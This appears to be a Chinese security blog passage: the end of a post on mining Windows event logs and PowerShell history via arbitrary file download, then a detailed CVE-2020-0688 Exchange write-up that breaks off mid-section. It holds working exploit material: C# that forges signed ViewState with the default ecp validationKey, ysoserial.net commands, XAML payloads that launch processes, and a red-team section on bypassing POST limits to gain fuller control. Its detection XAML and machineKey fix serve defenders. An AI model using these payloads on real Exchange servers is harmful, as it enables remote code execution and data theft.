这种方式获取到的数据可能极为敏感，也可能完全没有，效果取决于人品，而且需要进行文件名爆破。不过好在根据自己几个环境的统计，数据量很可观，而且需要爆破的序号并不大。

0x02 EventLog服务

@某个名字中有emoji的老哥（抱歉打不出来）提出的思路，之前做测试时候一致认为是独占式，今天仔细一看发现被打脸：

日志文件存放于%systemroot%\System32\winevt\Logs，且允许共享读取。真想打当时的我一顿

由于ETW文件名固定，我们直接根据已知列表进行下载即可：

Application.evtx
ConnectionInfo.evtx
Error.evtx
HardwareEvents.evtx
Internet Explorer.evtx
Key Management Service.evtx
Media Center.evtx
Microsoft-Windows-API-Tracing%4Operational.evtx
Microsoft-Windows-AppID%4Operational.evtx
Microsoft-Windows-Application Server-Applications%4Admin.evtx
Microsoft-Windows-Application Server-Applications%4Operational.evtx
Microsoft-Windows-Application-Experience%4Problem-Steps-Recorder.evtx
Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx
Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx
Microsoft-Windows-Application-Experience%4Program-Inventory.evtx
Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx
Microsoft-Windows-AppLocker%4EXE and DLL.evtx
Microsoft-Windows-AppLocker%4MSI and Script.evtx
Microsoft-Windows-Audio%4CaptureMonitor.evtx
Microsoft-Windows-Audio%4Operational.evtx
Microsoft-Windows-Authentication User Interface%4Operational.evtx
Microsoft-Windows-Backup.evtx
Microsoft-Windows-BitLocker-DrivePreparationTool%4Admin.evtx
Microsoft-Windows-BitLocker-DrivePreparationTool%4Operational.evtx
Microsoft-Windows-Bits-Client%4Operational.evtx
Microsoft-Windows-Bluetooth-MTPEnum%4Operational.evtx
Microsoft-Windows-BranchCache%4Operational.evtx
Microsoft-Windows-BranchCacheSMB%4Operational.evtx
Microsoft-Windows-CAPI2%4Operational.evtx
Microsoft-Windows-CodeIntegrity%4Operational.evtx
Microsoft-Windows-Compat-Appraiser%4Operational.evtx
Microsoft-Windows-CorruptedFileRecovery-Client%4Operational.evtx
Microsoft-Windows-CorruptedFileRecovery-Server%4Operational.evtx
Microsoft-Windows-DateTimeControlPanel%4Operational.evtx
Microsoft-Windows-DeviceSync%4Operational.evtx
Microsoft-Windows-Dhcp-Client%4Admin.evtx
Microsoft-Windows-DhcpNap%4Admin.evtx
Microsoft-Windows-Dhcpv6-Client%4Admin.evtx
Microsoft-Windows-Diagnosis-DPS%4Operational.evtx
Microsoft-Windows-Diagnosis-PCW%4Operational.evtx
Microsoft-Windows-Diagnosis-PLA%4Operational.evtx
Microsoft-Windows-Diagnosis-Scheduled%4Operational.evtx
Microsoft-Windows-Diagnosis-Scripted%4Admin.evtx
Microsoft-Windows-Diagnosis-Scripted%4Operational.evtx
Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider%4Operational.evtx
Microsoft-Windows-Diagnostics-Networking%4Operational.evtx
Microsoft-Windows-Diagnostics-Performance%4Operational.evtx
Microsoft-Windows-DiskDiagnostic%4Operational.evtx
Microsoft-Windows-DiskDiagnosticDataCollector%4Operational.evtx
Microsoft-Windows-DiskDiagnosticResolver%4Operational.evtx
Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx
Microsoft-Windows-EapHost%4Operational.evtx
Microsoft-Windows-EventCollector%4Operational.evtx
Microsoft-Windows-Fault-Tolerant-Heap%4Operational.evtx
Microsoft-Windows-FMS%4Operational.evtx
Microsoft-Windows-Folder Redirection%4Operational.evtx
Microsoft-Windows-Forwarding%4Operational.evtx
Microsoft-Windows-GroupPolicy%4Operational.evtx
Microsoft-Windows-Help%4Operational.evtx
Microsoft-Windows-HomeGroup Control Panel%4Operational.evtx
Microsoft-Windows-HomeGroup Listener Service%4Operational.evtx
Microsoft-Windows-HomeGroup Provider Service%4Operational.evtx
Microsoft-Windows-IKE%4Operational.evtx
Microsoft-Windows-International%4Operational.evtx
Microsoft-Windows-International-RegionalOptionsControlPanel%4Operational.evtx
Microsoft-Windows-Iphlpsvc%4Operational.evtx
Microsoft-Windows-Kernel-EventTracing%4Admin.evtx
Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx
Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx
Microsoft-Windows-Kernel-WDI%4Operational.evtx
Microsoft-Windows-Kernel-WHEA%4Errors.evtx
Microsoft-Windows-Kernel-WHEA%4Operational.evtx
Microsoft-Windows-Known Folders API Service.evtx
Microsoft-Windows-LanguagePackSetup%4Operational.evtx
Microsoft-Windows-MCT%4Operational.evtx
Microsoft-Windows-MemoryDiagnostics-Results%4Debug.evtx
Microsoft-Windows-MUI%4Admin.evtx
Microsoft-Windows-MUI%4Operational.evtx
Microsoft-Windows-NCSI%4Operational.evtx
Microsoft-Windows-NetworkAccessProtection%4Operational.evtx
Microsoft-Windows-NetworkAccessProtection%4WHC.evtx
Microsoft-Windows-NetworkLocationWizard%4Operational.evtx
Microsoft-Windows-NetworkProfile%4Operational.evtx
Microsoft-Windows-NlaSvc%4Operational.evtx
Microsoft-Windows-NTLM%4Operational.evtx
Microsoft-Windows-OfflineFiles%4Operational.evtx
Microsoft-Windows-ParentalControls%4Operational.evtx
Microsoft-Windows-PeopleNearMe%4Operational.evtx
Microsoft-Windows-PowerShell%4Operational.evtx
Microsoft-Windows-PrintService%4Admin.evtx
Microsoft-Windows-ReadyBoost%4Operational.evtx
Microsoft-Windows-ReadyBoostDriver%4Operational.evtx
Microsoft-Windows-Recovery%4Operational.evtx
Microsoft-Windows-ReliabilityAnalysisComponent%4Operational.evtx
Microsoft-Windows-RemoteApp and Desktop Connections%4Admin.evtx
Microsoft-Windows-RemoteApp and Desktop Connections%4Operational.evtx
Microsoft-Windows-RemoteAssistance%4Admin.evtx
Microsoft-Windows-RemoteAssistance%4Operational.evtx
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Admin.evtx
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx
microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager%4Admin.evtx
Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx
Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx
Microsoft-Windows-Resource-Leak-Diagnostic%4Operational.evtx
Microsoft-Windows-RestartManager%4Operational.evtx
Microsoft-Windows-Security-Audit-Configuration-Client%4Operational.evtx
Microsoft-Windows-SMBServer%4Audit.evtx
Microsoft-Windows-SMBServer%4Operational.evtx
Microsoft-Windows-TerminalServices-ClientUSBDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-ClientUSBDevices%4Operational.evtx
Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx
Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
Microsoft-Windows-TerminalServices-PnPDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-PnPDevices%4Operational.evtx
Microsoft-Windows-TerminalServices-RDPClient%4Operational.evtx
Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx
Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx
Microsoft-Windows-TerminalServices-ServerUSBDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-ServerUSBDevices%4Operational.evtx
Microsoft-Windows-TZUtil%4Operational.evtx
Microsoft-Windows-UAC%4Operational.evtx
Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx
Microsoft-Windows-User Profile Service%4Operational.evtx
Microsoft-Windows-VDRVROOT%4Operational.evtx
Microsoft-Windows-VHDMP%4Operational.evtx
Microsoft-Windows-WebDeploy%4ConnectionInfo.evtx
Microsoft-Windows-WebDeploy%4Error.evtx
Microsoft-Windows-WER-Diag%4Operational.evtx
Microsoft-Windows-WFP%4Operational.evtx
Microsoft-Windows-Windows Defender%4Operational.evtx
Microsoft-Windows-Windows Defender%4WHC.evtx
Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx
Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx
Microsoft-Windows-WindowsBackup%4ActionCenter.evtx
Microsoft-Windows-WindowsSystemAssessmentTool%4Operational.evtx
Microsoft-Windows-WindowsUpdateClient%4Operational.evtx
Microsoft-Windows-Winlogon%4Operational.evtx
Microsoft-Windows-WinRM%4Operational.evtx
Microsoft-Windows-Winsock-WS2HELP%4Operational.evtx
Microsoft-Windows-Wired-AutoConfig%4Operational.evtx
Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx
Microsoft-Windows-WPD-ClassInstaller%4Operational.evtx
Microsoft-Windows-WPD-CompositeClassDriver%4Operational.evtx
Microsoft-Windows-WPD-MTPClassDriver%4Operational.evtx
OAlerts.evtx
PreEmptive.evtx
Security.evtx
Setup.evtx
System.evtx
Windows PowerShell.evtx

（注意安装某些服务后可能会有更多日志，需要自行收集。）

之后直接用事件查看器打开即可：

后续操作就各显神通了，例如Application里面的错误信息包含异常退出程序的全路径；Powershell日志包含执行的命令行；Security日志包含登陆信息；System日志可能包含某些杀软的信息等等。

0x03 PowerShell命令历史记录

类似.bash_history，高版本Powershell会将历史记录保存在%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt中，里面可能包含一些敏感信息：

(图来自google)

美中不足的是需要爆破用户名，所以需要结合某些手段获取一些用户名--例如ETW日志中的登录信息，或是WSearch服务数据库中的信息等等。

0x04 小结

成年人了，放个论文式结尾总结没有意义，谈一谈过程中的体会。

技术是有连贯性的，不仅仅局限在某个操作系统领域，某些看似毫不相关的领域可能会碰撞出奇妙的交集。

例如WSearch服务获取信息的思路实际上就是文件取证；ETW思路的后续则更类似安服应急溯源，可能有不少自动化工具可用；PowerShell历史记录则可以和linux信息搜集形成类比。这些知识点综合起来，会让人有种莫名的爽快感。

再次回到本文主题，或许可以顺着这种思路问一下取证的朋友与安服的朋友，看看有没有什么其他可行的方案。找到领域咨询专业人员实际上是比自己研究靠谱得多的，虽然最终结果还是做渗透的事。

全文PDF： Windows任意文件下载的三个Tips.pdf

CVE-2020-0688的武器化与.net反序列化漏洞那些事

Sun, 01 Mar 2020 18:34:21 +0800

0x00 前言

TL;DR

CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞，该漏洞存在于Exchange Control Panel(ecp)中，不涉及Exchange的工作逻辑，其本质上是一个web漏洞。

鉴于国内对.net安全的讨论少之又少，对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分，一方面证明其实际危害性；另一方面抛砖引玉，希望能集思广益，挖掘更好的利用方式。

全文测试环境为Exchange 2013+Server 2012R2/Exchange 2016+Server 2016。由于ecp的一些限制以及低版本.net反序列化利用的复杂性，暂时不讨论更低版本。

完整阅读本文至少需要一小时的时间。

0x10 背景知识：反序列化、ViewState与MachineKey

0x11 反序列化

.net Framework(下称fx)原生支持多种序列化/反序列化方式，一些较为古老的系统和组件会使用binary和soap，而现在基本被xml和json所替代。

在binary序列化中有五个非常重要的类型：Serializable特性、ISerializable接口、MarshalByRefObject抽象类、IDeserializationCallback和IObjectReference接口。Serializable特性标记类可以进行基于值的序列化，MarshalByRefObject标记类可以进行基于引用的序列化，ISerializable接口决定序列化行为，IDeserializationCallback在反序列化过程中还原对象状态，IObjectReference实现工厂模式反序列化。

在序列化过程中由SerializationInfo保存序列化数据，可以粗略的将其理解为一个以字符串为键，以.net基元类型为值，以字符串形式的程序集名称和类型名进行包装的多层嵌套字典，形象一点的近似类比是注册表。

单纯标记Serializable特性的类会以字段名作为键，以字段值作为值，以字段值的实际类型作为类型名进行保存，等同于java中的Serializable接口的默认行为；实现ISerializable接口的类由GetObjectData方法控制SerializationInfo中的数据和类型，类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类；继承自MarshalByRefObject的类会写入一个ObjRef表示远程引用。

在反序列化过程中，首先会尝试调用具有(SerializationInfo,StreamingContext)签名的构造函数进行初始化，之后检测是否实现IObjectReference，如果实现则调用GetRealObject获取真实对象，否则返回对象本身。和java检测serialVersionUID不同，类型版本由SerializationInfo中保存的AssemblyName决定，其规则遵循clr默认程序集发现和加载策略，可认为是透明的。

fx的程序集中存在两个极为重要的工厂类：[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意，只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的，而在反序列化操作中并没有要求返回类型满足上述约束（当然，这是特性而不是漏洞）。借助DelegateSerializationHolder，我们可以反序列化任何委托（无论方法、属性，也不分静态或实例）；而借助ObjectSerializedRef可实现任意类反序列化。

众所周知，委托实质上代表一个可以直接执行的.net方法。如果为序列化数据提供一个恶意委托（例如Process.Start(string)），那么在委托被调用时将实现代码执行。而实际上，在序列化时控制一个对象的某个方法的调用时机是比较麻烦的，所以借助IObjectReference::GetRealObject等在反序列化时会进行调用的方法是更好的选择。

基于以上结论，可以得到下面的测试代码，此代码中的Test类在进行反序列化时将导致命令执行：

//build and run: c:\windows\microsoft.net\framework\v4.0.30319\csc test.cs && test
using System;
using System.Diagnostics;
using System.Security.Cryptography;
using System.IO;
using System.Web;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;

[Serializable]
class Test : IObjectReference
{
    Func<string, object> _dele;
    string _parm;
    public Test(Func<string, object> dele, string parm)
    {
        _dele = dele;
        _parm = parm;
    }
    public Object GetRealObject(StreamingContext c)
    {
        return _dele(_parm);
    }
}

class a
{
    static void Main(string[] args)
    {
        Test t = new Test(new Func<string, object>(Process.Start), "notepad");
        byte[] data = Serialize(t);
        Console.WriteLine(Deserialize(data));
    }

    static object Deserialize(byte[] b)
    {
        using (MemoryStream mem = new MemoryStream(b))
        {
            mem.Position = 0;
            BinaryFormatter bf = new BinaryFormatter();
            return bf.Deserialize(mem);
        }
    }
    static byte[] Serialize(object obj)
    {
        using (MemoryStream mem = new MemoryStream())
        {
            BinaryFormatter bf = new BinaryFormatter();
            bf.Serialize(mem, obj);
            return mem.ToArray();
        }
    }
}

所以我们只需要找到和上面代码相类似，且在fx或目标环境进行提供的类即可在真实环境中使用。限于篇幅，更细节的信息请参考ysoserial.net的TypeConfuseDelegateGenerator，其调用堆栈大致为：

System.Diagnostics.Process.Start
System.Collections.Generic.ComparisonComparer<string>._comparison.Invoke
System.Collections.Generic.ComparisonComparer<string>::Compare
System.Collections.Generic.SortedSet<string>::OnDeserialization
(after System.Collections.Generic.SortedSet<string>::.ctor(SerializationInfo,StreamingContext))

0x12 ViewState

ViewState是asp.net的一个特性，由[System.Web]System.Web.UI.Page类进行实现，其目的是为服务端控件状态进行持久化。从开发的角度看，所谓“控件状态”实际上就是服务端控件的属性或字段。fx在实现时采用了类似于ISerializable::GetObjectData的行为，由控件本身决定如何进行保存。

具体的序列化流程由[System.Web]System.Web.UI.ObjectStateFormatter进行处理。其返回结果以FF01作为magic，后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复杂的类型，ObjectStateFormatter通过二进制序列化方式对这种情况进行支持，其TypeCode为0x32，Value为带有7bit-encoded长度前缀的二进制序列化数据。

所以可以使用以下代码手动生成一个合法的ViewState：

static byte[] GetViewState()
{
  Test t = new Test(new Func<string, object>(Process.Start), "notepad");
  byte[] data = Serialize(t);
  MemoryStream ms = new MemoryStream();
  ms.WriteByte(0xff);
  ms.WriteByte(0x01);
  ms.WriteByte(0x32);
  uint num = (uint)data.Length;
  while (num >= 0x80)
  {
      ms.WriteByte((byte)(num | 0x80));
      num = num >> 0x7;
  }
  ms.WriteByte((byte)num);
  ms.Write(data, 0, data.Length);
  return ms.ToArray();
}

在asp.net环境中，每一个aspx文件都会（在发布期间或初始化期间）被编译为一个继承Page类的对象。访问对应的页面时由[System.Web]System.Web.UI.PageHandlerFactory进行查找并创建实例，之后调用ProcessRequest方法处理当前的HttpContext。在随后的ProcessRequestMain方法中，将判断是否处于PostBack状态，如果是则获取Form或QueryString中的__VIEWSTATE，并在LoadAllState方法中进行反序列化。

上述过程的调用堆栈大致为：

System.Web.UI.ObjectStateFormatter.Deserialize
System.Web.UI.Page.LoadAllState
(if IsPostBack)
System.Web.UI.Page.ProcessRequestMain
System.Web.UI.Page.ProcessRequest

进入PostBack模式有两个条件：页面不是通过Server.Transfer进行重定向的，__VIEWSTATE等隐藏表单存在。默认直接访问页面即可满足上述条件。

0x13 ViewState验证、MacKeyModifier与MachineKey

由于ViewState完全由客户端传入，为了防止篡改，ObjectStateFormatter会使用MachineKey对信息进行加密或签名。在默认情况下，MachineKey由fx随机生成，长度为0x400；反序列化的数据不会进行加密，但会进行HMACSha256签名，计算出的签名将附加在数据最后。

高版本的fx添加了MacKeyModifier作为Salt，由ClientId和ViewStateUserKey两部分拼接而成。在默认情况下，ViewStateUserKey为空；ClientId的算法为当前页面虚拟目录路径与当前页面类型名称的HashCode之和，同时会以十六进制形式存放于名为__VIEWSTATEGENERATOR的隐藏表单中返回。

而即使ClientId不返回实际上也几乎没有影响：在不存在反向代理的情况下，最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径；当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_)，例如/a/b/c.aspx最终的类型名为a_b_c_aspx。

无论加密还是解密时，ObjectStateFormatter都会根据对应的Page重新计算MacKeyModifier，客户端请求所发送的__VIEWSTATEGENERATOR不参与反序列化。

综上，在已知key的情况下，可以使用以下代码直接算出hash，以及最终的ViewState：

byte[] data=GetViewState();
byte[] key=new byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("index_aspx"));
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
MemoryStream ms = new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA256(key)).ComputeHash(ms.ToArray());
ms=new MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(hash,0,hash.Length);
Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}",
    HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())),
    _clientstateid.ToString("X2"));

编译上述代码，执行，复制输出。

在IIS的默认站点进行下列操作：确保应用程序池为.net 4.0，新建一个空白的default.aspx，将刚刚编译的exe复制到bin目录下，在web.config中添加MachineKey（如下）。

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
      <machineKey validationKey="000102030405060708090a0b0c0d0e0f000102030405060708090a0b0c0d0e0f" />
    </system.web>
</configuration>

将前面复制的输出作为QueryString或FormData，访问default.aspx，会看到w3wp.exe创建了子进程notepad。

0x20 ecp的限制与初步利用

0x21 ecp的配置与限制

由于这是一个默认Key导致的漏洞，所以首先查看ecp的配置文件。配置文件存放在%ExchangeInstallPath%\ClientAccess\ecp\web.config，可以看到其中默认的validationKey：CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF。

ecp当然不会存在前面用于测试的Test类，对反序列化非常熟悉的话可以查找一些可以利用的类。当然也可以偷个懒，借助ysoserial.net生成一个命令执行的payload：

ysoserial.exe -g TypeConfuseDelegate -c notepad -f binaryformatter -o base64

修改上面的脚本生成ViewState，访问，无论GET还是POST均毫无疑问的返回404，将POST修改为GET进行伪装则返回501。

根据501页面的内容，很明显是请求被前置模块进行了过滤；GET返回404的原因是IIS默认限制QueryString最大长度为2048；POST返回404则是在web.config中重写了全部处理程序映射，禁止了绝大部分aspx文件的POST请求方法：

而几个允许POST的白名单中，Download.aspx并非通过PageHandlerFactory进行处理，其余的要么文件不存在，要么低权限用户无权访问。

必须找到对这些限制进行绕过的方式才能成功利用此漏洞。

0x22 无效的ViewStateUserKey

在查找绕过方式之前，让我们回过头来，计算一下已知的ViewState进行验证，以确保ecp不存在其他奇奇怪怪的配置。

正常访问default.aspx，复制ViewState的值，进行base64解码，并去掉最后0x14个字节。例如测试环境中的ViewState解码后的数据为ff010f0f050a2d3231303138363636396464。

之后修改前面的代码：

byte[] data=new byte[]{0xff,0x01,0x0f,0x0f,0x05,0x0a,0x2d,0x32,0x31,0x30,0x31,0x38,0x36,0x36,0x36,0x39,0x64,0x64};
byte[] key=new byte[]{0xCB,0x27,0x21,0xAB,0xDA,0xF8,0xE9,0xDC,0x51,0x6D,0x62,0x1D,0x8B,0x8B,0xF1,0x3A,0x2C,0x9E,0x86,0x89,0xA2, 0x53,0x03,0xBF};
int hashcode = StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp");
uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));
//....
byte[] hash=(new HMACSHA1(key)).ComputeHash(ms.ToArray());

执行，返回以下结果：

可以看到ClientId是正确的，而Hash不同，显然页面存在ViewStateUserKey。

修改页面输出ViewStateUserKey，可看到和cookie中ASP.NET_SessionId相同。

而我们知道Exchange使用cookie登录而不是Session，在web.config中也移除了Session模块：

所以可推测ViewStateUserKey完全由客户端控制，将cookie中ASP.NET_SessionId置空，此时远程返回了相同的ViewState：

证明推论正确，这将在后续操作中节约几个步骤。

0x23 更换payload进行初步利用

现在再反过来思考绕过的问题，首先处理程序映射属于asp.net的核心部分，不可能绕过；501检测位置不明，但删除POST包中的Content-Type后依然返回501，证明检测逻辑很可能为if(Method=="GET" && ContentLength>0){501;}；最后只剩下减小payload长度一种方式。

ysoserial.net提供了很多的payload，我们可以尝试一下其他generator，例如TextFormattingRunProperties：

ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter >out.dat

将GetViewState方法中的数据进行替换，执行并生成ViewState，使用burp将cookie中ASP.NET_SessionId置空，访问，远程返回500，同时执行了命令cmd /c notepad。

0x24 xaml与代码执行

借助TextFormattingRunPropertiesGenerator，我们能够成功的通过ecp达到Exchange Server的远程代码执行，但其中的原理是什么？能否进行更深入层次的运用？

查看ysoserial.net源码可发现，TextFormattingRunPropertiesGenerator会返回一个[Microsoft.PowerShell.Editor]Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties对象的序列化数据，同时添加了一个键名为ForegroundBrush，值为xaml字符串的序列化信息。

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
  Type typeTFRP = typeof(TextFormattingRunProperties);
  info.SetType(typeTFRP);
  info.AddValue("ForegroundBrush", _xaml);
}

查看Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor(SerializationInfo,StreamingContext)的代码，可以看到在反序列化过程中会取出这个xaml，之后调用[PresentationFramework]System.Windows.Markup.XamlReader.Parse进行解析：

private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
{
    string @string = info.GetString(name);
    if (@string == "null")
    {
        return null;
    }
    return XamlReader.Parse(@string);
}

其调用堆栈大致如下：

[PresentationFramework]System.Windows.Markup.XamlReader.Parse
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.GetObjectFromSerializationInfo
Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties..ctor

xaml是wpf的界面组件代码，可以通过xml的形式构建窗体对象或存放运行时所需的资源。在执行XamlReader.Parse时会实例化其中声明的对象，并绑定属性。

在解析器的实现中，ResourceDictionary负责对静态资源进行存储，ObjectDataProvider作为工厂类负责通过方法调用等方式生成对象。如果为ObjectDataProvider提供恶意方法，同样可以达到代码执行的目的。

对照ysoserial.net生成的xaml：第一行表示该xaml为一个ResourceDictionary对象；第二行将System、System.Diagnostics两个命名空间和xmlns进行映射；第三行声明了一个ObjectDataProvider，并将其ObjectType属性赋值为typeof(System.Diagnostics.Process)，MethodName属性赋值为Start；第四行至第七行声明了调用该方法是要传递的参数，分别为cmd和"/c notepad"。

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:System="clr-namespace:System;assembly=mscorlib" 
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>"/c notepad"</System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

XamlReader在解析上述xaml时，首先根据根元素创建ResourceDictionary对象，该对象实现了IDirectory接口，所以其后的ObjectDataProvider将作为成员进行存储。接下来初始化ObjectDataProvider对象，并设置ObjectType、MethodName、MethodParameters三个属性。

ObjectDataProvider在MethodParameters改变时会调用OnParametersChanged方法，最终将通过反射调用Process.Start，并传递参数。其流程和以下伪代码相对应：

typeof(Process).GetMethod("Start").Invoke(null,new object[]{"cmd","\"/c notepad\""})

可将xaml进行保存，然后执行下面的PowerShell脚本进行验证：

Add-Type -AssemblyName PresentationFramework
[System.Windows.Markup.XamlReader]::Parse([io.file]::readalltext('xaml.txt'))

最后，我们可以将ysoserial.net中相关代码提取出来，稍作修改和之前的代码合并作为生成器：

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
  protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context){}
  string _xaml;
  public void GetObjectData(SerializationInfo info, StreamingContext context)
  {
    info.SetType(typeof(TextFormattingRunProperties));
    info.AddValue("ForegroundBrush", _xaml);
  }
  public TextFormattingRunPropertiesMarshal(string xaml)
  {
    _xaml = xaml;
  }
}
static byte[] GetViewState(byte[] data){....}
//in main
byte[] data=GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xa)));

成功执行命令仅仅是一个开始。无论红队还是蓝队，在目标无法出网的情况下，单纯的执行命令既不能判断漏洞存在与否，也很难达成稳定隐蔽的控制。

请记住xaml这个关键点，在后续的漏洞利用过程中是最为重要的一环。

0x30 蓝队：检测与缓解措施

0x31 构造检测xaml

在远程无回显地执行命令很难确切地知道漏洞利用成功与否，由于不确定目标环境是否能够出网，即使有dnslog这种方式也很难做到完整检测。

所以我们需要一种简单的方式进行验证。

xaml不光支持调用静态方法，同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current获取当前Http上下文，并对Response进行操作。

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib" 
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
  <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
    <ObjectDataProvider.MethodParameters>
      <s:String>X-ZCG-TEST</s:String>
      <s:String>CVE-2020-0688</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>

上述xaml在加载时的流程等同于：

var a=HttpContext.Current;
var b=a.Response;
var c=b.Headers;
c.Add("X-ZCG-TEST","CVE-2020-0688");
b.End();

修改生成payload，访问，可看到增加了一个返回头X-ZCG-TEST，其值为CVE-2020-0688。和执行命令的poc不同，由于调用了Response.End，不会导致后续异常，返回状态码为正常的200。

当然，调用诸如Response.AppendCookie、Response.AddHeader等方法都是可以的，只要最终生成的QueryString不超过2048就不会有任何问题。

0x32 修复措施

由于ecp本身不使用任何ViewState相关的方法（事实上在多个页面中禁用了ViewState），最简单的修复方式就是删除web.config中machineKey一节：

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

之后ecp会自动重启，随后将采用随机生成的0x400长度的key进行加密。

0x40 红队：武器化

0x41 绕过POST限制

红队操作更考虑隐蔽以及稳定控制，限制长度的Payload具有非常大的局限性，很难实现完美控制。

POST不受长度限制但默认被禁用，所有不需要权限的白名单文件均不存在。如果创建一个原本不存在的白名单文件，能否进行绕过？

那么进行测试，从web.config中随便挑一个允许POST且不存在的aspx文件，例如LiveIdError.aspx。在测试环境的ecp目录创建这个空文件。

之后修改之前的代码：

uint _clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode("liveiderror_aspx"));

编译执行访问，可看到返回了测试标识，证明思路有效。

0x42 构造写入文件的xaml

那么现在的问题就变成了：如何通过简短的反序列化，在ecp目录创建一个指定名称的空白文件？熟悉.net的人可能会瞬间给出答案，System.IO.File::AppendAllText(string,string)可以向指定路径的文件追加指定内容，当文件不存在时会创建。

使用此方法还有一个小问题，AppendAllText第一个参数如果是相对路径的话，将在CurrentDirectory创建文件，而绝大多数情况下w3wp的CurrentDirectory为%systemroot%\system32\inetsrv。

简单粗暴的解决这个问题有两种方案：由于Exchange会将安装目录保存在环境变量ExchangeInstallPath中，所以直接调用cmd进行echo即可；或者直接使用默认安装路径C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp。

第一种可能会触发某些监控，第二种则存在小概率修改目录的可能。

这两种方案的xaml分别如下：

